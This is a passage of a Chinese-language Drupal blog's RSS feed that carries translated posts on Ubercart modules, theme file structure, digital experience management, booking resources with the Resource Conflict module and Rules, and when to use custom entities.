&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_gopay&#34; target=&#34;_blank&#34;&gt;UC GoPay&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;狗币支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_panels&#34; target=&#34;_blank&#34;&gt;UC Panels&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;把Ubercart和CTools和Panels进行了基本的集成。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_paygate&#34; target=&#34;_blank&#34;&gt;UC PayGate&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另一个支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_price_visibility&#34; target=&#34;_blank&#34;&gt;UC Price Visibility&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;一般来说，店主希望宣传商品，但并不希望暴露价格，而是“请联系我们询问价格”这样的说辞。这个模块让管理员可以为不同角色指定显示还是隐藏每个商品的价格。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_product_power_tools&#34; target=&#34;_blank&#34;&gt;UC Product Power tools&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;用于增强Ubercart的创建商品界面（7还在Dev——译者）。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_sage_payments&#34; target=&#34;_blank&#34;&gt;UC Sage Payment Gateway&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;支付还是支付。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_shipwire&#34; target=&#34;_blank&#34;&gt;UC Shipwire (Order Fulfillment)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;利用Shipwire提供配送查询。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;http://drupal.org/project/uc_who_bought_what&#34; target=&#34;_blank&#34;&gt;Who Bought What&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;查询用户和商品之间的订购关系，用于后续管理工作，例如客服回访等。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>主题文件概述</title>
      <link>/post/drupal-theme-file-summary/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-theme-file-summary/</guid>
      <description>&lt;p&gt;#主题文件概览&lt;/p&gt;

&lt;p&gt;主题是对表达层的定义，由一系列文件组成。也可以为某个主题创建一个或更多的子主题或修改一个主题。只有.info文件是必要的，不过大多数主题或子主题会使用另外的一些文件，下图说明了一个典型的主题或子主题中会包含的内容：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 6&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/602dd5b48bc64fcd57ac2be0d3a098ed.png&#34; alt=&#34;drupal 6 theme files&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drupal 7&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/1c6fc515ef163a33c47aaca81136b645.png&#34; alt=&#34;drupal 7 theme files&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;.info（必须）&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;主题中，所有对Drupal需要的信息都存在于&amp;rdquo;.info&amp;rdquo;文件之中。主题所需的包括元数据、&lt;a href=&#34;https://www.drupal.org/node/171209&#34; target=&#34;_blank&#34;&gt;样式表&lt;/a&gt;、&lt;a href=&#34;https://www.drupal.org/node/171213&#34; target=&#34;_blank&#34;&gt;JavaScript&lt;/a&gt;、&lt;a href=&#34;https://www.drupal.org/node/171224&#34; target=&#34;_blank&#34;&gt;区块&lt;/a&gt;等信息也都在这一文件中定义。所有其他都是可有可无的。&lt;/p&gt;

&lt;p&gt;主题的内部名称也是从这个文件来的。例如，如果命名为&amp;rdquo;drop.info&amp;rdquo;，则Drupal会认为这个主题的名字叫做drop，Drupal 5或者更早的版本会使用目录名作为主题名。&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Info文件是在Drupal 6中开始的，Drupal 5中只在模块中使用。&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;模板文件（.tpl.php）&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;模板是由(x)HTML标记和PHP变量构成的。在一些特例中，也可能输出其他格式的数据，例如&lt;a href=&#34;http://api.drupal.org/api/function/theme_aggregator_page_rss&#34; target=&#34;_blank&#34;&gt;xml rss&lt;/a&gt;。每个.tpl.php文件负责输出一种特定的可渲染的数据，在某种情况下，使用&lt;a href=&#34;https://www.drupal.org/node/223440&#34; target=&#34;_blank&#34;&gt;模板建议&lt;/a&gt;，可能出现多个.tpl.php对应同一种数据的情况。这些都是可选的，如果你的主题中不存在合适的对应关系，则会使用标准输出。在这些文件里，需要尽量避免使用复杂逻辑，大多数情况下，这里只应该由(x)HTML标记以及PHP变量构成。核心和模块目录中也会存有少量的tpl文件，把它们拷贝到你的主题目录中，就能够让Drupal使用你的版本了。&lt;/p&gt;

&lt;p&gt;&lt;em&gt;注意：&lt;a href=&#34;https://www.drupal.org/node/173880#theme-registry&#34; target=&#34;_blank&#34;&gt;主题注册表&lt;/a&gt;会缓存主题数据。所以当对主题文件进行修改之后，要进行复位。（就是常说的清空缓存）&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;template.php&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;template.php文件用来处理所有输出中的判断逻辑和数据加工工作。这个文件不是必须的，不过对于保持.tpl.php文件的整洁是至关重要的：他可以在变量传递给.tpl.php文件进行输出之前进行&lt;a href=&#34;https://www.drupal.org/node/223430&#34; target=&#34;_blank&#34;&gt;加工&lt;/a&gt;。自定义函数、&lt;a href=&#34;https://www.drupal.org/node/173880#function-override&#34; target=&#34;_blank&#34;&gt;重写主题函数&lt;/a&gt;以及其他对原始输出进行自定义的过程都应该在这里完成。这个文件必须用&lt;code&gt;&amp;lt;?php&lt;/code&gt;标记开始，不过结束标记不是必须的，推荐省略掉。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;https://www.drupal.org/node/225125&#34; target=&#34;_blank&#34;&gt;子主题&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;表面上看，子主题跟其他主题差不多。唯一的区别是，它们从父主题继承资源。要创建一个子主题，必须在info文件中指定一个&amp;rdquo;base theme&amp;rdquo;(基主题)。多级继承也是允许的，也就是说一个子主题可以声明另外一个子主题为自己的父主题，继承的层次并无硬性限制。&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Drupal 5以及更总的版本要求子主题放置在父主题的子目录中，更高版本没有这种规定。&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;其他&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Logo和截图对主题的功能是完全没有影响的，不过推荐提供，尤其是在想要把你的主题&lt;a href=&#34;https://www.drupal.org/node/14208&#34; target=&#34;_blank&#34;&gt;贡献到Drupal仓库&lt;/a&gt;的时候。在主题管理页面，用户帐号中的主题选择页面都能看到截屏。可以在&lt;a href=&#34;https://www.drupal.org/node/11637&#34; target=&#34;_blank&#34;&gt;主题截图指南&lt;/a&gt;中获得更多相关信息。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如果你希望在一个核心主题的基础之上工作，可以使用&lt;a href=&#34;https://www.drupal.org/node/225125&#34; target=&#34;_blank&#34;&gt;子主题&lt;/a&gt;，或者拷贝一个主题并进行重命名。Bartik、 Garland或者Minnelli这几个主题在安装或者升级的过程中会用到，直接对这些主题进行修改是应该严格禁止的。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;一个非核心或修改过的核心主题应该安装到&amp;rdquo;sites/all/themes&amp;rdquo;目录来同核心主题区分开来。如果你计划运行多站点模式，可以让主题仅对某个指定站点可用，&lt;a href=&#34;https://www.drupal.org/node/43816&#34; target=&#34;_blank&#34;&gt;《多站点安装》&lt;/a&gt;讲解了更多的这方面的内容。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Drupal 6中&lt;a href=&#34;https://api.drupal.org/api/drupal/modules%21system%21page.tpl.php/6&#34; target=&#34;_blank&#34;&gt;page.tpl.php&lt;/a&gt;包含了完整的html结构，在Drupal 7中引入了&lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!html.tpl.php/7&#34; target=&#34;_blank&#34;&gt;html.tpl.php&lt;/a&gt;。缺省情况下，这些文件保存在/modules/system目录中，要覆盖或改变这些内容仅需把这些文件拷贝到自定义主题目录下即可。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>从内容管理到数字化体验管理</title>
      <link>/post/cms-to-digital-ex/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/cms-to-digital-ex/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://dri.es/from-content-management-to-digital-experience-management&#34; target=&#34;_blank&#34;&gt;From content management to digital experience management&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://drupal.org/&#34; target=&#34;_blank&#34;&gt;Drupal&lt;/a&gt; 刚过了第十三个生日！我很荣幸的陪伴 Drupal 这样一个从业余爱好起步的小项目，一路坎坷前行。Drupal 社区在充满了爱和激情的大量付出中逐步成长。&lt;/p&gt;

&lt;p&gt;Drupal 的生日给了我们一个回顾和反思的契机。当然，多年以来的积累，有太多的事情可供思考，本文仅从宏观的角度，来阐述对市场的分析——也就是说，本文主要从业务而非技术视角出发。&lt;/p&gt;

&lt;h2 id=&#34;从-web-到数字化&#34;&gt;从 Web 到数字化&lt;/h2&gt;

&lt;p&gt;Drupal 的诞生源于我对Web的浓厚兴趣。今天，他已经成为很多组织的IT基础设施的一部分。对多数机构来说，一个网站或移动应用，是业务运行的重要组成部分，这一重要性还在逐步提高。随着移动和社交媒体的兴起，我们不再只是谈论“网站”或“网站应用”，而是“数字化体验”。为浏览者或顾客提供最佳的数字化体验，已经从“选修课”变成了“必修课”。&lt;/p&gt;

&lt;h2 id=&#34;从内容到体验&#34;&gt;从内容到体验&lt;/h2&gt;

&lt;p&gt;对 Acquia 来说，2013 年的制胜之道就是：创建高质量的内容，吸引更多流量，对大多数机构来说也是这样，高质量，有价值的内容的重要性毋庸质疑。五年前这意味着，如果你在开展一项业务，而没有一个博客，你最好马上开通。而今天，只靠创建页面或一个网站是不够的了，人们要创建内容，管理内容，在多个渠道重用内容，以不同形式展现给更多不同的最终用户；接下来还要跟踪和衡量内容的效益，并尽可能的为不同最终用户进行内容优化。内容非常重要，但是用*正确的格式*，在*正确的时机*，为*正确的用户*提供*正确的内容*，更能点石成金。仅仅发布内容是不够的，为浏览者在时间维度进行完整的体验管理才是现今的要求。&lt;/p&gt;

&lt;h2 id=&#34;从移动到上下文&#34;&gt;从移动到上下文&lt;/h2&gt;

&lt;p&gt;在过去的五年中，“移动”重新定义了互联网，在下一个五年中，“上下文”将再次改变互联网（乔教主你好）。Drupal 的下一次的机遇和挑战，不仅仅在于让内容发布者为浏览者在他们首选的终端和语言中获取内容，更在于为每个用户提供最接近需求的内容。&lt;/p&gt;

&lt;h2 id=&#34;数字化体验平台&#34;&gt;数字化体验平台&lt;/h2&gt;

&lt;p&gt;内容管理系统（CMS）已经进化到了用于管理复杂的，上下文相关的数字化体验的技术平台。管理访问者的互动是一个复杂的问题，需要很多工具来解决。例如想要提供最佳的移动体验，需要很多方法和技术的支撑，从响应式设计到原生应用，平衡浏览器兼容性，JS/PHP 库的取舍等等。要创建最好的个人数字化体验也同样包含这样的过程，从在 Drupal 中创建一系列的 API 和能力，到（将这些 API 和能力）集成到其他工具中。&lt;/p&gt;

&lt;p&gt;对于Drupal社区来说，我们应该把视角从“内容管理平台”转换到&amp;rdquo;数字化体验管理平台&amp;rdquo;，目标在于为访问者提供理想的体验。这意味着发布出来的内容可以轻松的在不同的设备上浏览，站点内容能够轻松的集成到其他工具，例如社交媒体网站或客户管理系统，以及邮件和行动管理系统等。我们在这方面曾经努力了很多年，这并不妨碍我们认清趋势，在这一方向投入重注。&lt;/p&gt;

&lt;p&gt;读者可能听我谈过Web体验管理（WEM），但是我们应该在这一基础上更上层楼，因为 “Web” 这一单词无法涵盖 Drupal 的所有内容，他可能是网站、移动设备、游戏主机、可穿戴设备或其他的什么东西。&lt;/p&gt;

&lt;p&gt;为了提供理想的客户体验，首要工作是要为内容开发工作提供更好的界面，能将内容分发到多种设备和渠道中；其次是为不同的用户进行定制展现。CMS 要向着这个方向前进，并且促使内容创建者们在创建内容之外，还要对于内容的*分发格式*，*分发时机*，*分发格式*以及*目标用户*进行决策。随着时间的迁移，这一决策过程会逐渐向着数据驱动、自动化的方向演进，越来越摆脱人工决策。&lt;/p&gt;

&lt;h3 id=&#34;2000-年的-cms&#34;&gt;2000 年的 CMS&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;静态内容&lt;/li&gt;
&lt;li&gt;内容和设计分离&lt;/li&gt;
&lt;li&gt;动态 GIF&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;2005-年的-cms&#34;&gt;2005 年的 CMS&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;所见即所得的编辑&lt;/li&gt;
&lt;li&gt;动态内容&lt;/li&gt;
&lt;li&gt;发布工作流&lt;/li&gt;
&lt;li&gt;用户自产生内容&lt;/li&gt;
&lt;li&gt;模块化架构&lt;/li&gt;
&lt;li&gt;搜索&lt;/li&gt;
&lt;li&gt;Syndication（这里我理解是内容的转载和订阅？）&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;2010年的-cms&#34;&gt;2010年的 CMS&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;社交媒体集成&lt;/li&gt;
&lt;li&gt;所见即所得的页面设计&lt;/li&gt;
&lt;li&gt;协同工具&lt;/li&gt;
&lt;li&gt;富媒体集成&lt;/li&gt;
&lt;li&gt;潜在客户开发工具（&lt;a href=&#34;http://en.wikipedia.org/wiki/Lead_generation&#34; target=&#34;_blank&#34;&gt;Wiki 页&lt;/a&gt; &amp;ndash;译者注）&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;2015年的cms&#34;&gt;2015年的CMS&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;客户智能（&lt;a href=&#34;http://en.wikipedia.org/wiki/Customer_intelligence&#34; target=&#34;_blank&#34;&gt;Wiki 页&lt;/a&gt; &amp;ndash;译者注）&lt;/li&gt;
&lt;li&gt;上下文感知&lt;/li&gt;
&lt;li&gt;多设备适配&lt;/li&gt;
&lt;li&gt;服务就绪/API&lt;/li&gt;
&lt;li&gt;多站点平台管理&lt;/li&gt;
&lt;li&gt;PaaS/SaaS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;极少有 CMS 的市场份额有了提升，2014 年这一行业将持续整合。多数 CMS 开始淡出，这并不意外，因为 CMS 越来越复杂了。一个 CMS 要活下去，必须要跟紧 Internet 前进的脚步，并保持内在的一致性。具有优良社区传统的开源的 CMS 在这场竞赛中具有显而易见的又是。Drupal 的最大挑战在于，从现有的用户模式跳出来，让不同的用户做各自或复杂、或简单的千差万别的业务。这也是我为什么对就地编辑功能，普通可用性以及开发体验如此投入的原因。我们将在 2014 以及将来都会坚持这一方向。&lt;/p&gt;

&lt;p&gt;很长时间以来，对于 Drupal 在大型的复杂网站上的应用有很多误解。分析师，技术决策者以及一些竞争对手例如 Sitecore和 Adobe 声称，Drupal 对于简单小站是非常好的，但是对于企业的负载和功能方面是比较难于满足的。只要看看通用电气，白宫，MSNBC 以及很多其他 Drupal 为基础的网站就知道他们对不对了。Drupal 8 将领先站在&amp;rdquo;数字化体验管理&amp;rdquo;的潮头之上，进一步巩固 Drupal 的地位，从移动设备支持，到编辑体验提升、API 以及结构化内容增强等。&lt;/p&gt;

&lt;p&gt;过去13年中，我们经历了很多。我对于我们的社区为 Internet 作出的贡献极为自豪。然而将来的日子里，我们还有很多工作，像水滴（Drupal Logo &amp;ndash; 译者注）一样持续运动下去。Drupal 8 将继续推进 Web 内容发布和数字化体验管理。为众多用户和不同规模的机构，而不只是为那些能够向软件供应商付出百万英镑获得授权的用户，提供如此杰出的工具，使我们倍感荣耀。生日快乐，Drupal！&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 Resource Conflict 模块预订资源</title>
      <link>/post/book-resource-with-resource-confilict/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/book-resource-with-resource-confilict/</guid>
      <description>

&lt;p&gt;本文将帮助你使用 &lt;a href=&#34;http://drupal.org/project/resource_conflict&#34; target=&#34;_blank&#34;&gt;Resource Conflict 模块&lt;/a&gt;设置一个预订内容类型，借助这一类型来实现对资源的预订。&lt;/p&gt;

&lt;h2 id=&#34;内容类型设置&#34;&gt;内容类型设置&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;创建一个叫做 Resource 的内容类型。这一类型代表了任何可被预订的资源，例如一间房，一本书等。&lt;/li&gt;
&lt;li&gt;再创建一个叫做 Reservation 的内容类型。&lt;/li&gt;
&lt;li&gt;添加一个日期字段，字段需要定义截止日期为必填项。这个模块只能对这种日期字段工作。日期字段类型可以使用日期，ISO或者Unix类型。&lt;/li&gt;
&lt;li&gt;添加一个 &lt;a href=&#34;https://drupal.org/project/entityreference&#34; target=&#34;_blank&#34;&gt;Entity Reference&lt;/a&gt; 或者 &lt;a href=&#34;https://drupal.org/project/references&#34; target=&#34;_blank&#34;&gt;References&lt;/a&gt; 字段，让用户可以选择资源。&lt;/li&gt;
&lt;li&gt;在内容类型建立后，编辑他，并浏览 Resource Confilict 的 Tab，选择刚建立的日期字段，启用冲突检测。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这个模块自带一个缺省的规则，这个规则会检查所有的激活冲突检测的 Node。在我们的例子中，我们希望把检测行为限制在 Reservation 类型的 Node 中，来防止重复预订。所以我们要创建一个新的规则。&lt;/p&gt;

&lt;h2 id=&#34;创建规则&#34;&gt;创建规则&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;创建一个新的规则，被 &lt;code&gt;A resource conflict node form is validated&lt;/code&gt;（一个资源冲突 Node Form 完成验证）触发。当一个具有资源冲突检测的内容类型中的一个Node在进行校验时，就会触发这个事件。在这里尚未完成冲突检测。&lt;/li&gt;
&lt;li&gt;创建一个条件：&lt;code&gt;Contains a resource conflict&lt;/code&gt;（包含一个资源冲突）。这个条件会根据日期字段进行冲突检查。&lt;/li&gt;
&lt;li&gt;新建一个动作： &lt;code&gt;Load a list of conflicting nodes&lt;/code&gt;（载入一个冲突 Node 列表）。被检测到冲突的 Node 会以列表的形式传递给规则，这样就可以通过循环来处理这些 Node。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;现在我们需要定制规则的行为，限制结果集为已经被预定的资源。我们需要把触发规则的未保存Node和冲突列表中的成员进行比较。要达到这一目的，我们需要创建一个规则组件。&lt;/p&gt;

&lt;h3 id=&#34;规则组件&#34;&gt;规则组件&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;点击右上角的组件 Tab，创建一个新组件。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;condition plugin&lt;/code&gt;，选择 &lt;code&gt;Rule&lt;/code&gt;。这意味着我们需要创建一个小规则。这里的规则无需被事件触发。这里我们会手工调用它，并为其传递参数。&lt;/li&gt;
&lt;li&gt;好像我们编写PHP函数一样，我们也需要为这一组件定义参数：&lt;/li&gt;
&lt;li&gt;数据类型：&lt;code&gt;node&lt;/code&gt;，标签：&lt;code&gt;Unsaved Reservation&lt;/code&gt;，机读名称：&lt;code&gt;unsaved_reservation&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;数据类型：&lt;code&gt;node&lt;/code&gt;，标签：&lt;code&gt;Conflicting Reservation&lt;/code&gt;，机读名称：&lt;code&gt;conflicting_reservation&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;接下来我们为这个规则组件添加三个条件。其中两个用来把引用字段中的实体载入规则，第三个用于比较两个值是否相等：&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entity has Field&lt;/strong&gt;，选择 &lt;code&gt;unsaved-reservation&lt;/code&gt; 进行进一步的选择。在列表中选择资源实体引用字段。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entity has Field&lt;/strong&gt;，选择 &lt;code&gt;conflicting-reservation&lt;/code&gt; 进行进一步的选择。在列表中选择资源实体引用字段。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Comparison&lt;/strong&gt;，选择 &lt;code&gt;unsaved-reservation:field-resource&lt;/code&gt; 作为数据选择器。在下一步中，操作符选择 &lt;code&gt;equals&lt;/code&gt;，在第二个比较项目中选择 &lt;code&gt;conflicting-reservation:field-resource&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;现在加入一个动作 &lt;code&gt;Set a form validation error&lt;/code&gt;（设置 Form 校验错误）。这个动作会在每个预订冲突时执行，并在 Node 提交过程中弹出信息，阻止 Form 提交。记得输入具体信息，例如“同现有预订冲突：&lt;a href=&#34;https://www.drupal.org/node/url]&#34; target=&#34;_blank&#34;&gt;conflicting-reservation:title&lt;/a&gt;”。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这样就创建好了规则组件，我们回到上一个规则的界面。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;在动作中添加一个新的 loop，使用 &lt;code&gt;conflict-list&lt;/code&gt; 作为数据选择器，规则会循环处理每个冲突的预订。&lt;/li&gt;
&lt;li&gt;点击新加入的loop旁边的&amp;rdquo;Add Action&amp;rdquo;按钮。在列表中选择刚创建的规则组件。&lt;/li&gt;
&lt;li&gt;为新建的组件选择两个参数。第一个 (unsaved-reservation)，使用 &lt;code&gt;node&lt;/code&gt; 作为数据选择器，这里选择的是触发了该事件的 Node。第二个参数传入&lt;code&gt;list-item&lt;/code&gt;，这个参数是循环处理列表中的一项。（注意，这个循环是基于列表执行的。）&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;完成&#34;&gt;完成&lt;/h2&gt;

&lt;p&gt;完成上述步骤之后，可以尝试创建两个冲突的预订，看看会不会出错。&lt;/p&gt;

&lt;p&gt;你也可以修改这些规则，例如对结果列表进行进一步过滤。&lt;/p&gt;

&lt;p&gt;如果你以前从来没有使用过Rules，那么这部分看起来可能比较复杂。希望上面的描述足够清晰。如果上面的内容无法工作，可以在问题队列中&lt;a href=&#34;https://drupal.org/node/add/project-issue/resource_conflict&#34; target=&#34;_blank&#34;&gt;加入一个支持请求&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;性能&#34;&gt;性能&lt;/h2&gt;

&lt;p&gt;我们看到，这个模块会把所有Node载入进行冲突检测，然后才是限制结果数量。然而如果你有几百几千个可能冲突的Node，那么就会发生性能问题。&lt;/p&gt;

&lt;p&gt;可以通过修改模块查询冲突的方式来增强性能。这个查询的标记是 &lt;code&gt;resource_conflict&lt;/code&gt;，所以可使用 &lt;a href=&#34;https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_query_alter/7&#34; target=&#34;_blank&#34;&gt;hook_query_alter&lt;/a&gt; 来加入自己的条件和链接。&lt;/p&gt;

&lt;h2 id=&#34;rules-forms-support&#34;&gt;Rules Forms Support&lt;/h2&gt;

&lt;p&gt;如果启用了 &lt;a href=&#34;http://drupal.org/project/rules_forms&#34; target=&#34;_blank&#34;&gt;Rules Forms Support&lt;/a&gt;，这个模块会把 Form 传递给任何触发了 &lt;code&gt;A resource conflict was detected&lt;/code&gt; 事件的规则。这将会把 Node 提交 Form 暴露给规则，从而可以使用Rules Forms Support 提供的处理 Form 的各种手段。&lt;/p&gt;

&lt;p&gt;例如，可以不再使用 Form 验证错误信息，而用该模块提供的类似动作来代替，这样你可以更好的处理资源冲突。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用定制Entity的时机和动机</title>
      <link>/post/when-to-create-new-entity/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/when-to-create-new-entity/</guid>
      <description>&lt;p&gt;##介绍&lt;/p&gt;

&lt;p&gt;Drupal 7开始出现了Entity，这一改进大大的提高了Drupal模块的数据建模能力。在这之前，Drupal是一个为文章设计的数据结构，我们的方案和数据建模只能在这个基础上修修补补。&lt;/p&gt;

&lt;p&gt;然而，在我们已经习惯于利用内容类型和字段解决所有的数据模型问题的情况下，向Entity迁移也的确不是一个轻而易举的事情。&lt;/p&gt;

&lt;p&gt;##Entity需要一些时间和经验&lt;/p&gt;

&lt;p&gt;如果你没有很多时间，也没有直接面对Entity API的经验，而手上的项目又逼近Deadline，那么这不是一个开始Entity的好时机，Entity的学习曲线也是颇为陡峭的。&lt;/p&gt;

&lt;p&gt;利用 &lt;a href=&#34;https://drupal.org/project/eck&#34; target=&#34;_blank&#34;&gt;Entity construction kit(ECK)&lt;/a&gt;可能可以简化这一学习过程，这个模块提供了一个Entity的管理界面，尽管如此，要获得Entity的好处，还是需要一些开发工作的。ECK支持Features，能够把一个自定义Entity导出成为代码化配置，并且封装成为一个现成的模块形式。&lt;/p&gt;

&lt;p&gt;尽管受限于实际情况，你可能不能立即投入Entity的怀抱之中，不过尽早投入时间来学习Entity还是值得的。&lt;/p&gt;

&lt;p&gt;##Entity是什么&lt;/p&gt;

&lt;p&gt;如果你想要建模的对象是某种类型，具体的内容可以通过一个唯一的URL来访问和查看，那么这几乎一定应该用Node而不是Entity来完成，例如一种新的文章类型。&lt;/p&gt;

&lt;p&gt;另一个极端是，如果你面对的对象是纯粹的数据，他可能在展现之前首先要进行一些处理，或者仅作为页面的一部分而出现。一个例子就是Web版的接机大屏幕中显示的出港进港数据。&lt;/p&gt;

&lt;p&gt;但是实际情况是，多数问题都不会是这种极端情况，可以借助在其他的框架下的经验来判断，是否使用定制Entity。&lt;/p&gt;

&lt;p&gt;一些参考指标：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;相对来说，存活期越短的东西越可能用定制Entity。（真心不懂，原文：Relatively short lived things are more likely to be custom entities than long-lived things (which may have a web presence)）&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;包含用于获取其他数据或者内容的元数据，比如一个用于获取存储在云服务上的视频的元数据，用定制Entity实现可能比较好。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;不可见数据，例如从第三方API获取的一些数据，这些数据可能被其他的代码使用，但是通常是不会在同一个请求中立即使用，这种状况也是比较适合使用自定义Entity。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;仅作为其他显示的一部分的内容也建议使用自定义Entity。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##性能和确定性&lt;/p&gt;

&lt;p&gt;如果你拥有一个大型的复杂的站点，这一站点有很多不同事物需要被建模，如果全部使用Node实现，这导致一个后果：即使没有需要，Node相关的Hook也会影响所有这些内容。这也会导致对Node的管理工作臃肿复杂。&lt;/p&gt;

&lt;p&gt;另外，Node的版本化特性也消耗了更多的性能。&lt;/p&gt;

&lt;p&gt;甚至有些模型连Field都不需要，他们的属性仅使用Entity属性就能完成，无需数据库JOIN就能完成工作。（讽刺的是，起初，我们想要所有东西都能Field，现在，我们又发现，有时需要干掉Field）。&lt;/p&gt;

&lt;p&gt;所以有时对Entity的合理使用能够让站点变得简洁，并提供更大的性能潜力。&lt;/p&gt;

&lt;p&gt;##迎接即将到来的Drupal 8&lt;/p&gt;

&lt;p&gt;貌似Drupal 8还要很长时间才能面世，然而该来的总会来，未雨绸缪是必要的。使用Drupal 7核心以及Entity API模块中的API，具有大量的例子和线上资源，也能让你有个较好的升级基础。&lt;/p&gt;

&lt;p&gt;##其他Entity模块的助力&lt;/p&gt;

&lt;p&gt;有大量的模块使用Entity API提供服务，使用Entity就让你可以通过Entity API使用其他模块的功能，例如可以利用&lt;a href=&#34;https://drupal.org/project/entitycache&#34; target=&#34;_blank&#34;&gt;Entity cache&lt;/a&gt;模块实现缓存。&lt;/p&gt;

&lt;p&gt;##继续作恶？&lt;/p&gt;

&lt;p&gt;可能你已经认识到，你现在的站点上的数据模型丑恶如斯，那么是时候从技术债中拯救你自己以及你的继任者了。一个Entity的反模式：分类词是核心成员之一，能够挂接Field，又具有管理页面，这种种优势导致他被过度使用，甚至在根本同分类无关的场景之中也牵强使用分类词。&lt;/p&gt;

&lt;p&gt;这种情况在从Drupal 6中升级过来的Drupal 7站点中尤其常见。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>利用 Libraries API 向 Drupal 项目中添加JS库</title>
      <link>/post/add-js-into-drupal-with-libraries-module/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/add-js-into-drupal-with-libraries-module/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://atendesigngroup.com/blog/adding-js-libraries-drupal-project-libraries-api&#34; target=&#34;_blank&#34;&gt;Adding JS libraries to a Drupal project with Libraries API&lt;/a&gt;&lt;/p&gt;

